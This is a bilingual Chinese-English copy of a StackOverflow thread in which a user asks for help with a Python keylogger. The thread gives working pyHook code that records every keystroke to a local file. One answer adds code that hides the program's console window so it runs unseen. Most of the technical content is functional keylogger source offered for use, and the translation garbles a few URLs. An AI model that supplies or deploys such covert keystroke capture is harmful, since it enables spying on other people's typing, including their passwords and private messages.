windows 帮助我的键盘记录器
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/3553209/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
Help with my keylogger
提问by rectangletangle
I'm working on a simple key logger. I'm having a problem though, when I try to run it as a .pyw the program shuts down before it can record anything. I believe it needs to loop, how would I go about this?
我正在开发一个简单的键盘记录器。但是我遇到了一个问题,当我尝试将它作为 .pyw 运行时,程序在它可以记录任何内容之前关闭。我相信它需要循环,我该怎么做?
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y | ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
if chr(event.Ascii) == "q":
sys.exit(0)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I'm using Windows 7 ,BTW.
我正在使用 Windows 7,顺便说一句。
回答by thc-scripting
this is my simple example (your code is wrong): (you need pyHook and win32api)
这是我的简单例子(你的代码是错误的):(你需要pyHook和win32api)
#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
pyHook: http://sourceforge.net/projects/pyhook/?source=dlp
pyHook:http: //sourceforge.net/projects/pyhook/?source =dlp
pyWin32: http://sourceforge.net/projects/pywin32/
pyWin32:http: //sourceforge.net/projects/pywin32/
回答by Quinten
open the program via the python idle (right klick edit with IDLE) go to Run and click run module(F5) then you can see the errors.
通过 python idle 打开程序(使用 IDLE 右键单击编辑)转到运行并单击运行模块(F5)然后您可以看到错误。
hint for debugging: look at wich line the error is at(other editors like atom.io wich i use for all my coding have line numbers) so you know where to look.
调试提示:查看错误所在的行(我用于所有编码的其他编辑器,如 atom.io 都有行号),以便您知道在哪里查看。
DOUBLE HINT: if you want to use an external editor but want to get error messages open cmd and go to the directory you program is in (cd project-folder\second-folder
for example) and do python <script name>
so for example python keylogger.py
双重提示:如果您想使用外部编辑器但想获取错误消息,请打开 cmd 并转到您程序所在的目录(cd project-folder\second-folder
例如)并执行python <script name>
例如python keylogger.py
edit:
编辑:
python script.py
may not work because python is not in the path variable Thiswebsite explains how to add a program to your path
python script.py
可能无法工作,因为 python 不在路径变量中该网站解释了如何将程序添加到您的路径中